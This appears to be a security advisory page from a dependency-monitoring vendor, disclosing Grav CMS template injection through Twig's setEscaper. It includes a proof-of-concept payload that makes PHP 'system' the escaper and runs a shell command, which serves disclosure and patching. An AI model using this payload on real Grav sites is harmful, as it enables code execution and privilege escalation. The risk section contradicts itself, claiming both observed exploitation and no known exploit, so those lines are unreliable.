Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-2m7x-c7px-hp58
No affected components available
Summary
Due to the unrestricted access to twig extension class from grav context, an attacker can redefine the escape function and execute arbitrary commands.
Details
https://github.com/twigphp/Twig/blob/3.x/src/Extension/EscaperExtension.php#L99
/**
* Defines a new escaper to be used via the escape filter.
*
* @param string $strategy The strategy name that should be used as a strategy in the escape call
* @param callable $callable A valid PHP callable
*/
public function setEscaper($strategy, callable $callable)
{
$this->escapers[$strategy] = $callable;
}
Twig supports the functionality to redefine the escape function through the setEscaper method. However, that method is not originally exposed to the twig environment, but it is accessible through the payload below.
{{ grav.twig.twig.extensions.core.setEscaper('a','a') }}
At this point, it accepts callable type as an argument, but as there is no validation for the $callable variable, attackers can set dangerous functions like system as the escaper function.
PoC
{{ var_dump(grav.twig.twig.extensions.core.setEscaper('system','twig_array_filter')) }}
{{ var_dump(['id'] | escape('system', 'system')) }}
Impact
Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard